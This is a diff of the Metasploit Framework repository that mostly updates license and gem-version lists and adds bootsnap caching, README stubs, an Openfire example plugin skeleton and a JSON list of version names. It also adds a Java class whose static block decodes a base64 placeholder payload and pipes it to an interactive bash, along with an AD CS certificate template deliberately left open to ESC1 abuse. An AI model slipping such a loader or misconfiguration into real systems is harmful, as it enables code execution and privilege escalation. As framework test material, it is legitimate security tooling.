Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
Copyright: 2011 Jon Bringhurst
License: GNU GPL 2.0
@@ -152,7 +169,7 @@ Copyright: 2017 Yukihiro Matsumoto
License: Ruby
Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
Copyright: 2016-2023 Andrew Svetlov
License: Apache 2.0
Files: lib/msf/core/web_services/public/*
@@ -227,7 +244,7 @@ Purpose: This module contains the source code for FUSE, which this module
Files: modules/exploits/linux/local/ntfs3g_priv_esc.rb
Copyright: 2017
License: GPLv2
Purpose: The Ruby file contains the text of several modules from exploit-db
Purpose: The Ruby file contains the text of several modules from exploit-db
which it compiles and uploads to the target to elevate privileges.
Files: modules/exploits/unix/fileformat/metasploit_libnotify_cmd_injection.rb
@@ -239,7 +256,7 @@ Purpose: This module targets a vulnerability in Metasploit Framework versions
Files: modules/exploits/windows/smb/ms04_007_killbill.rb
Copyright: 2004, Solar Eclipse
License: GPL
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
SP2-SP4 and Windows XP SP0-SP1. It contains code ported from a GPLv2
module.
@@ -255,7 +272,7 @@ Purpose: This module allows us to create an x64 Windows messagebox payload.
Files: modules/post/linux/dos/xen_420_dos.rb
Copyright: 2016
License: GPL
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
paravirtualized VM. It contains a short code section licensed through
GPL.
+80 -65
View File
@@ -1,25 +1,30 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 7.0.4.2, MIT
actionview, 7.0.4.2, MIT
activemodel, 7.0.4.2, MIT
activerecord, 7.0.4.2, MIT
activesupport, 7.0.4.2, MIT
addressable, 2.8.1, "Apache 2.0"
actionpack, 7.0.5, MIT
actionview, 7.0.5, MIT
activemodel, 7.0.5, MIT
activerecord, 7.0.5, MIT
activesupport, 7.0.5, MIT
addressable, 2.8.4, "Apache 2.0"
afm, 0.2.2, MIT
allure-rspec, 2.22.0, "Apache 2.0"
allure-ruby-commons, 2.22.0, "Apache 2.0"
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.722.0, "Apache 2.0"
aws-sdk-core, 3.170.0, "Apache 2.0"
aws-sdk-ec2, 1.368.0, "Apache 2.0"
aws-sdk-iam, 1.75.0, "Apache 2.0"
aws-sdk-kms, 1.63.0, "Apache 2.0"
aws-sdk-s3, 1.119.1, "Apache 2.0"
aws-partitions, 1.776.0, "Apache 2.0"
aws-sdk-core, 3.174.0, "Apache 2.0"
aws-sdk-ec2, 1.382.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.27.0, "Apache 2.0"
aws-sdk-iam, 1.79.0, "Apache 2.0"
aws-sdk-kms, 1.66.0, "Apache 2.0"
aws-sdk-s3, 1.123.1, "Apache 2.0"
aws-sdk-ssm, 1.151.0, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.16.0, MIT
bson, 4.15.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 2.1.4, MIT
@@ -30,9 +35,10 @@ concurrent-ruby, 1.2.2, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
debug, 1.7.1, "ruby, Simplified BSD"
date, 3.3.3, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.9, "Apache 2.0"
dnsruby, 1.70.0, "Apache 2.0"
docile, 1.4.0, MIT
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
ed25519, 1.3.0, MIT
@@ -42,11 +48,11 @@ erubi, 1.12.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 3.1.1, MIT
faraday, 2.7.4, MIT
faker, 3.2.0, MIT
faraday, 2.7.6, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.1.0, MIT
faye-websocket, 0.11.1, "Apache 2.0"
faraday-retry, 2.2.0, MIT
faye-websocket, 0.11.2, "Apache 2.0"
ffi, 1.15.5, "New BSD"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
@@ -58,74 +64,79 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.5, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.12.0, MIT
i18n, 1.14.1, MIT
io-console, 0.6.0, "ruby, Simplified BSD"
irb, 1.6.3, "ruby, Simplified BSD"
irb, 1.7.0, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.3, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
loofah, 2.19.1, MIT
loofah, 2.21.3, MIT
macaddr, 1.7.2, ruby
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.2, "New BSD"
metasploit-framework, 6.3.8, "New BSD"
metasploit-credential, 6.0.5, "New BSD"
metasploit-framework, 6.3.38, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.122, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.156, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.1, MIT
mime-types, 3.4.1, MIT
mime-types-data, 3.2023.0218.1, MIT
mini_portile2, 2.8.2, MIT
minitest, 5.18.0, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 3.0.0, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.17.1, MIT
net-imap, 0.3.7, "ruby, Simplified BSD"
net-ldap, 0.18.0, MIT
net-protocol, 0.2.1, "ruby, Simplified BSD"
net-smtp, 0.3.3, "ruby, Simplified BSD"
net-ssh, 7.0.1, MIT
network_interface, 0.0.2, MIT
net-ssh, 7.1.0, MIT
network_interface, 0.0.4, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.8, MIT
nokogiri, 1.14.2, MIT
nio4r, 2.5.9, MIT
nokogiri, 1.14.5, MIT
nori, 2.6.0, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.22.1, MIT
parser, 3.2.1.1, MIT
packetfu, 2.0.0, "New BSD"
parallel, 1.23.0, MIT
parser, 3.2.2.3, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.11.0, MIT
pg, 1.4.6, "Simplified BSD"
pg, 1.5.3, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 5.0.1, MIT
puma, 6.1.1, "New BSD"
racc, 1.6.2, "ruby, Simplified BSD"
rack, 2.2.6.3, MIT
rack-protection, 3.0.5, MIT
rack-test, 2.0.2, MIT
puma, 6.3.0, "New BSD"
racc, 1.7.0, "ruby, Simplified BSD"
rack, 2.2.7, MIT
rack-protection, 3.0.6, MIT
rack-test, 2.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.5.0, MIT
railties, 7.0.4.2, MIT
rails-html-sanitizer, 1.6.0, MIT
railties, 7.0.5, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rasn1, 0.12.1, MIT
rb-readline, 0.5.5, BSD
recog, 3.0.3, unknown
recog, 3.1.1, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.7.0, MIT
reline, 0.3.2, ruby
regexp_parser, 2.8.0, MIT
reline, 0.3.5, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.30, "New BSD"
rex-core, 0.1.31, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.38, "New BSD"
rex-java, 0.1.6, "New BSD"
@@ -136,23 +147,24 @@ rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.47, "New BSD"
rex-socket, 0.1.54, "New BSD"
rex-sslscan, 0.1.9, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.50, "New BSD"
rex-text, 0.2.52, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.1, MIT
rspec-expectations, 3.12.2, MIT
rspec-mocks, 3.12.3, MIT
rspec-rails, 6.0.1, MIT
rspec-core, 3.12.2, MIT
rspec-expectations, 3.12.3, MIT
rspec-mocks, 3.12.5, MIT
rspec-rails, 6.0.3, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.12.0, MIT
rubocop, 1.48.0, MIT
rubocop-ast, 1.27.0, MIT
rubocop, 1.52.0, MIT
rubocop-ast, 1.29.0, MIT
ruby-macho, 3.0.0, MIT
ruby-mysql, 4.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
@@ -164,25 +176,28 @@ sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 3.0.5, MIT
sqlite3, 1.6.1, "New BSD"
sinatra, 3.0.6, MIT
sqlite3, 1.6.3, "New BSD"
sshkey, 2.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
thor, 1.2.1, MIT
tilt, 2.1.0, MIT
systemu, 2.6.5, ruby
test-prof, 1.2.2, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.2.2, MIT
tilt, 2.2.0, MIT
timecop, 0.9.6, MIT
timeout, 0.3.2, "ruby, Simplified BSD"
timeout, 0.4.0, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2022.7, MIT
tzinfo-data, 1.2023.3, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.4.2, MIT
unix-crypt, 1.3.0, BSD
unix-crypt, 1.3.1, 0BSD
uuid, 2.3.9, MIT
warden, 1.2.9, MIT
webrick, 1.7.0, "ruby, Simplified BSD"
webrick, 1.8.1, "ruby, Simplified BSD"
websocket-driver, 0.7.5, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
win32api, 0.1.0, unknown
@@ -190,5 +205,5 @@ windows_error, 0.1.5, BSD
winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.28, MIT
zeitwerk, 2.6.7, MIT
yard, 0.9.34, MIT
zeitwerk, 2.6.8, MIT
+1
View File
@@ -0,0 +1 @@
This directory contains ActiveRecord concerns, models and validators.
+3
View File
@@ -0,0 +1,3 @@
Contains various files that help configure Metasploit. Most files here you'll never have to deal with, though
`database.yml.example` might be useful for those looking to configure their database, and `openssl.conf`
might be helpful for those trying to troubleshoot OpenSSL issues in Metasploit.
+1 -1
View File
@@ -47,7 +47,7 @@ module Metasploit
when "test"
config.eager_load = false
when "production"
config.eager_load = true
config.eager_load = false
end
if ActiveRecord.respond_to?(:legacy_connection_handling=)
+61
View File
@@ -38,3 +38,64 @@ lib_path = root.join('lib').to_path
unless $LOAD_PATH.include? lib_path
$LOAD_PATH.unshift lib_path
end
require 'digest'
require 'metasploit/framework/version'
require 'msf/base/config'
# Invalidate and delete the bootsnap cache if required. For instance if the metasploit-framework version has changed.
#
# @param [Hash] bootsnap_config See https://github.com/Shopify/bootsnap/blob/95e8d170aea99a831fd484ce09ad2f195644e740/lib/bootsnap.rb#L38
# @return [void]
def invalidate_bootsnap_cache!(bootsnap_config)
expected_cache_metadata = {
'metasploit_framework_version' => Metasploit::Framework::Version::VERSION,
'ruby_description' => RUBY_DESCRIPTION,
'bundler_lockfile_hash' => Digest::MD5.hexdigest(Bundler.read_file(Bundler.default_lockfile)),
'bootsnap_config' => {
'load_path_cache' => bootsnap_config[:load_path_cache],
'compile_cache_iseq' => bootsnap_config[:compile_cache_iseq],
'compile_cache_yaml' => bootsnap_config[:compile_cache_yaml],
}
}
cache_metadata_path = File.join(bootsnap_config[:cache_dir], "metadata.yaml")
if File.exist?(cache_metadata_path)
cache_metadata = YAML.safe_load(File.binread(cache_metadata_path))
if cache_metadata != expected_cache_metadata
FileUtils.rm_rf(bootsnap_config[:cache_dir], secure: true)
end
end
FileUtils.mkdir_p(bootsnap_config[:cache_dir])
File.binwrite(cache_metadata_path, expected_cache_metadata.to_yaml)
nil
end
# Attempt to use bootsnap caching for improved startup time
begin
require 'bootsnap'
env = ENV['RAILS_ENV'] || ENV['RACK_ENV'] || ENV['ENV']
development_mode = ['', nil, 'development'].include?(env)
cache_dir = ::File.join(Msf::Config.config_directory, "bootsnap_cache")
bootsnap_config = {
cache_dir: cache_dir,
ignore_directories: [],
development_mode: development_mode,
load_path_cache: true, # Optimize the LOAD_PATH with a cache
compile_cache_iseq: false, # Don't compile Ruby code into ISeq cache, breaks coverage reporting.
compile_cache_yaml: false, # Don't compile YAML into a cache
readonly: false, # Update caches - https://github.com/Shopify/bootsnap/commit/b51397f96c33aa421fd5c29484fb9574df9eb451
}
invalidate_bootsnap_cache!(bootsnap_config)
Bootsnap.setup(**bootsnap_config)
rescue => e
$stderr.puts "Warning: Failed bootsnap cache setup - #{e.class} #{e} #{e.backtrace}"
begin
FileUtils.rm_rf(cache_dir, secure: true)
rescue
$stderr.puts 'Warning: Failed deleting bootsnap cache'
end
end
+15
View File
@@ -0,0 +1,15 @@
---
info:
title: Metasploit Framework
description: Metasploit Framework
x-cortex-git:
github:
alias: r7org
repository: rapid7/metasploit-framework
x-cortex-tag: metasploit-framework
x-cortex-type: service
x-cortex-domain-parents:
- tag: metasploit
openapi: 3.0.1
servers:
- url: "/"
+7
View File
@@ -0,0 +1,7 @@
This folder contains various data files used for a variety of purposes, including but not limited to banners for the
console, exploit source code for exploits (under `data/exploits`), template code and binaries, wordlists and shellcode.
As a general rule of thumb this folder will most often be used when you are using compiled binaries or source code from
other exploits for cases such as local privilege escalation exploits and need to provide the exploit code and compiled
binaries so that maintainers can verify the binary and compile it themselves, as so that modules can find the R7 compiled
version of the resulting binary for use during exploitation.
@@ -0,0 +1,27 @@
---
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
# the request). Fields are based on the SubCA template. For field descriptions,
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
showInAdvancedViewOnly: 'TRUE'
# this security descriptor grants all permissions to all authenticated users
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
flags: 0
pKIDefaultKeySpec: 2
pKIKeyUsage: !binary |-
hgA=
pKIMaxIssuingDepth: -1
pKICriticalExtensions:
- 2.5.29.19
- 2.5.29.15
pKIExpirationPeriod: !binary |-
AEAepOhl+v8=
pKIOverlapPeriod: !binary |-
AICmCv/e//8=
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
msPKI-RA-Signature: 0
msPKI-Enrollment-Flag: 0
# CT_FLAG_EXPORTABLE_KEY
msPKI-Private-Key-Flag: 0x10
# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
msPKI-Certificate-Name-Flag: 1
msPKI-Minimal-Key-Size: 2048
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,11 @@
import java.util.Base64;
public class PayloadRuns {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}");
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 256 KiB

+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin changelog</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add changelog content here
</p>
</body>
</html>
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1021 B

+10
View File
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?>
<plugin>
<class>com.example.openfire.plugin.Example</class>
<name>PLUGINNAME</name>
<description>PLUGINDESCRIPTION</description>
<author>PLUGINAUTHOR</author>
<version>1.0.0</version>
<date>7/7/2008</date>
<minServerVersion>3.5.0</minServerVersion>
</plugin>
+69
View File
@@ -0,0 +1,69 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Example plugin readme</title>
<style type="text/css">
BODY {
font-size : 100%;
}
BODY, TD, TH {
font-family : tahoma, verdana, arial, helvetica, sans-serif;
font-size : 0.8em;
}
H2 {
font-size : 10pt;
font-weight : bold;
}
A:hover {
text-decoration : none;
}
H1 {
font-family : tahoma, arial, helvetica, sans-serif;
font-size : 1.4em;
font-weight: bold;
border-bottom : 1px #ccc solid;
padding-bottom : 2px;
}
TT {
font-family : courier new;
font-weight : bold;
color : #060;
}
PRE {
font-family : courier new;
font-size : 100%;
}
.events TH {
font-size: 8pt;
font-family: verdana;
font-weight: bold;
text-align: left;
background-color: #eee;
border-bottom: 1px #ccc solid;
}
.events .event {
font-weight: bold;
}
.events TD {
border-bottom: 1px #ccc dotted;
vertical-align: top;
}
</style>
</head>
<body>
<h1>
Example plugin
</h1>
<h2>Todo</h2>
<p>
Add readme content here
</p>
</body>
</html>
+7
View File
@@ -117,6 +117,13 @@
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
<%- attacker_kb_references = normalize_attackerkb_references(items[:mod_refs]) %>
<% unless attacker_kb_references.empty? %>
## AttackerKB references
<%= attacker_kb_references %>
<% end %>
<% unless items[:mod_refs].empty? %>
## References
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
+615
View File
@@ -0,0 +1,615 @@
[
"V3_0_0_SNAPSHOT",
"V3_0_0_ALPHA1",
"V3_0_0_BETA1",
"V3_0_0_BETA2",
"V3_0_0_BETA3",
"V3_0_0_BETA4",
"V3_0_0_BETA5",
"V3_0_0_BETA6_SNAPSHOT",
"V3_0_0_BETA6",
"V3_0_0_BETA7_SNAPSHOT",
"V3_0_0_BETA7",
"V3_0_0_BETA8_SNAPSHOT",
"V3_0_0_BETA8",
"V3_0_0_BETA9_SNAPSHOT",
"V3_0_0_BETA9",
"V3_0_0_FINAL",
"V3_0_1_SNAPSHOT",
"V3_0_1",
"V3_0_2_SNAPSHOT",
"V3_0_2",
"V3_0_3_SNAPSHOT",
"V3_0_3",
"V3_0_4_SNAPSHOT",
"V3_0_4",
"V3_0_5_SNAPSHOT",
"V3_0_5",
"V3_0_6_SNAPSHOT",
"V3_0_6",
"V3_0_7_SNAPSHOT",
"V3_0_7",
"V3_0_8_SNAPSHOT",
"V3_0_8",
"V3_0_9_SNAPSHOT",
"V3_0_9",
"V3_0_10_SNAPSHOT",
"V3_0_10",
"V3_0_11_SNAPSHOT",
"V3_0_11",
"V3_0_12_SNAPSHOT",
"V3_0_12",
"V3_0_13_SNAPSHOT",
"V3_0_13",
"V3_0_14_SNAPSHOT",
"V3_0_14",
"V3_0_15_SNAPSHOT",
"V3_0_15",
"V3_1_0_SNAPSHOT",
"V3_1_0",
"V3_1_1_SNAPSHOT",
"V3_1_1",
"V3_1_2_SNAPSHOT",
"V3_1_2",
"V3_1_3_SNAPSHOT",
"V3_1_3",
"V3_1_4_SNAPSHOT",
"V3_1_4",
"V3_1_5_SNAPSHOT",
"V3_1_5",
"V3_1_6_SNAPSHOT",
"V3_1_6",
"V3_1_7_SNAPSHOT",
"V3_1_7",
"V3_1_8_SNAPSHOT",
"V3_1_8",
"V3_1_9_SNAPSHOT",
"V3_1_9",
"V3_2_0_SNAPSHOT",
"V3_2_0",
"V3_2_1_SNAPSHOT",
"V3_2_1",
"V3_2_2_SNAPSHOT",
"V3_2_2",
"V3_2_3_SNAPSHOT",
"V3_2_3",
"V3_2_4_SNAPSHOT",
"V3_2_4",
"V3_2_5_SNAPSHOT",
"V3_2_5",
"V3_2_6_SNAPSHOT",
"V3_2_6",
"V3_2_7_SNAPSHOT",
"V3_2_7",
"V3_2_8_SNAPSHOT",
"V3_2_8",
"V3_2_9_SNAPSHOT",
"V3_2_9",
"V3_3_1_SNAPSHOT",
"V3_3_1",
"V3_3_2_SNAPSHOT",
"V3_3_2",
"V3_3_3_SNAPSHOT",
"V3_3_3",
"V3_3_4_SNAPSHOT",
"V3_3_4",
"V3_3_5_SNAPSHOT",
"V3_3_5",
"V3_3_6_SNAPSHOT",
"V3_3_6",
"V3_3_7_SNAPSHOT",
"V3_3_7",
"V3_3_8_SNAPSHOT",
"V3_3_8",
"V3_3_9_SNAPSHOT",
"V3_3_9",
"V3_4_1_SNAPSHOT",
"V3_4_1",
"V3_4_2_SNAPSHOT",
"V3_4_2",
"V3_4_3_SNAPSHOT",
"V3_4_3",
"V3_4_4_SNAPSHOT",
"V3_4_4",
"V3_4_5_SNAPSHOT",
"V3_4_5",
"V3_4_6_SNAPSHOT",
"V3_4_6",
"V3_4_7_SNAPSHOT",
"V3_4_7",
"V3_4_8_SNAPSHOT",
"V3_4_8",
"V3_4_9_SNAPSHOT",
"V3_4_9",
"V3_5_1_SNAPSHOT",
"V3_5_1",
"V3_5_2_SNAPSHOT",
"V3_5_2",
"V3_5_3_SNAPSHOT",
"V3_5_3",
"V3_5_4_SNAPSHOT",
"V3_5_4",
"V3_5_5_SNAPSHOT",
"V3_5_5",
"V3_5_6_SNAPSHOT",
"V3_5_6",
"V3_5_7_SNAPSHOT",
"V3_5_7",
"V3_5_8_SNAPSHOT",
"V3_5_8",
"V3_5_9_SNAPSHOT",
"V3_5_9",
"V3_6_1_SNAPSHOT",
"V3_6_1",
"V3_6_2_SNAPSHOT",
"V3_6_2",
"V3_6_3_SNAPSHOT",
"V3_6_3",
"V3_6_4_SNAPSHOT",
"V3_6_4",
"V3_6_5_SNAPSHOT",
"V3_6_5",
"V3_6_6_SNAPSHOT",
"V3_6_6",
"V3_6_7_SNAPSHOT",
"V3_6_7",
"V3_6_8_SNAPSHOT",
"V3_6_8",
"V3_6_9_SNAPSHOT",
"V3_6_9",
"V3_7_1_SNAPSHOT",
"V3_7_1",
"V3_7_2_SNAPSHOT",
"V3_7_2",
"V3_7_3_SNAPSHOT",
"V3_7_3",
"V3_7_4_SNAPSHOT",
"V3_7_4",
"V3_7_5_SNAPSHOT",
"V3_7_5",
"V3_7_6_SNAPSHOT",
"V3_7_6",
"V3_7_7_SNAPSHOT",
"V3_7_7",
"V3_7_8_SNAPSHOT",
"V3_7_8",
"V3_7_9_SNAPSHOT",
"V3_7_9",
"V3_8_1_SNAPSHOT",
"V3_8_1",
"V3_8_2_SNAPSHOT",
"V3_8_2",
"V3_8_3_SNAPSHOT",
"V3_8_3",
"V3_8_4_SNAPSHOT",
"V3_8_4",
"V3_8_5_SNAPSHOT",
"V3_8_5",
"V3_8_6_SNAPSHOT",
"V3_8_6",
"V3_8_7_SNAPSHOT",
"V3_8_7",
"V3_8_8_SNAPSHOT",
"V3_8_8",
"V3_8_9_SNAPSHOT",
"V3_8_9",
"V3_9_1_SNAPSHOT",
"V3_9_1",
"V3_9_2_SNAPSHOT",
"V3_9_2",
"V3_9_3_SNAPSHOT",
"V3_9_3",
"V3_9_4_SNAPSHOT",
"V3_9_4",
"V3_9_5_SNAPSHOT",
"V3_9_5",
"V3_9_6_SNAPSHOT",
"V3_9_6",
"V3_9_7_SNAPSHOT",
"V3_9_7",
"V3_9_8_SNAPSHOT",
"V3_9_8",
"V3_9_9_SNAPSHOT",
"V3_9_9",
"V4_0_0_SNAPSHOT",
"V4_0_0",
"V4_0_1_SNAPSHOT",
"V4_0_1",
"V4_0_2_SNAPSHOT",
"V4_0_2",
"V4_0_3_SNAPSHOT",
"V4_0_3",
"V4_0_4_SNAPSHOT",
"V4_0_4",
"V4_0_5_SNAPSHOT",
"V4_0_5",
"V4_0_6_SNAPSHOT",
"V4_0_6",
"V4_0_7_SNAPSHOT",
"V4_0_7",
"V4_0_8_SNAPSHOT",
"V4_0_8",
"V4_0_9_SNAPSHOT",
"V4_0_9",
"V4_1_0_SNAPSHOT",
"V4_1_0",
"V4_1_1_SNAPSHOT",
"V4_1_1",
"V4_1_2_SNAPSHOT",
"V4_1_2",
"V4_1_3_SNAPSHOT",
"V4_1_3",
"V4_1_4_SNAPSHOT",
"V4_1_4",
"V4_1_5_SNAPSHOT",
"V4_1_5",
"V4_1_6_SNAPSHOT",
"V4_1_6",
"V4_1_7_SNAPSHOT",
"V4_1_7",
"V4_1_8_SNAPSHOT",
"V4_1_8",
"V4_1_9_SNAPSHOT",
"V4_1_9",
"V4_2_0_SNAPSHOT",
"V4_2_0",
"V4_2_1_SNAPSHOT",
"V4_2_1",
"V4_2_2_SNAPSHOT",
"V4_2_2",
"V4_2_3_SNAPSHOT",
"V4_2_3",
"V4_2_4_SNAPSHOT",
"V4_2_4",
"V4_2_5_SNAPSHOT",
"V4_2_5",
"V4_2_6_SNAPSHOT",
"V4_2_6",
"V4_2_7_SNAPSHOT",
"V4_2_7",
"V4_2_8_SNAPSHOT",
"V4_2_8",
"V4_2_9_SNAPSHOT",
"V4_2_9",
"V4_3_0_SNAPSHOT",
"V4_3_0",
"V4_3_1_SNAPSHOT",
"V4_3_1",
"V4_3_2_SNAPSHOT",
"V4_3_2",
"V4_3_3_SNAPSHOT",
"V4_3_3",
"V4_3_4_SNAPSHOT",
"V4_3_4",
"V4_3_5_SNAPSHOT",
"V4_3_5",
"V4_3_6_SNAPSHOT",
"V4_3_6",
"V4_3_7_SNAPSHOT",
"V4_3_7",
"V4_3_8_SNAPSHOT",
"V4_3_8",
"V4_3_9_SNAPSHOT",
"V4_3_9",
"V4_4_0_SNAPSHOT",
"V4_4_0",
"V4_4_1_SNAPSHOT",
"V4_4_1",
"V4_4_2_SNAPSHOT",
"V4_4_2",
"V4_4_3_SNAPSHOT",
"V4_4_3",
"V4_4_4_SNAPSHOT",
"V4_4_4",
"V4_4_5_SNAPSHOT",
"V4_4_5",
"V4_4_6_SNAPSHOT",
"V4_4_6",
"V4_4_7_SNAPSHOT",
"V4_4_7",
"V4_4_8_SNAPSHOT",
"V4_4_8",
"V4_4_9_SNAPSHOT",
"V4_4_9",
"V4_5_0_SNAPSHOT",
"V4_5_0",
"V4_5_1_SNAPSHOT",
"V4_5_1",
"V4_5_2_SNAPSHOT",
"V4_5_2",
"V4_5_3_SNAPSHOT",
"V4_5_3",
"V4_5_4_SNAPSHOT",
"V4_5_4",
"V4_5_5_SNAPSHOT",
"V4_5_5",
"V4_5_6_SNAPSHOT",
"V4_5_6",
"V4_5_7_SNAPSHOT",
"V4_5_7",
"V4_5_8_SNAPSHOT",
"V4_5_8",
"V4_5_9_SNAPSHOT",
"V4_5_9",
"V4_6_0_SNAPSHOT",
"V4_6_0",
"V4_6_1_SNAPSHOT",
"V4_6_1",
"V4_6_2_SNAPSHOT",
"V4_6_2",
"V4_6_3_SNAPSHOT",
"V4_6_3",
"V4_6_4_SNAPSHOT",
"V4_6_4",
"V4_6_5_SNAPSHOT",
"V4_6_5",
"V4_6_6_SNAPSHOT",
"V4_6_6",
"V4_6_7_SNAPSHOT",
"V4_6_7",
"V4_6_8_SNAPSHOT",
"V4_6_8",
"V4_6_9_SNAPSHOT",
"V4_6_9",
"V4_7_0_SNAPSHOT",
"V4_7_0",
"V4_7_1_SNAPSHOT",
"V4_7_1",
"V4_7_2_SNAPSHOT",
"V4_7_2",
"V4_7_3_SNAPSHOT",
"V4_7_3",
"V4_7_4_SNAPSHOT",
"V4_7_4",
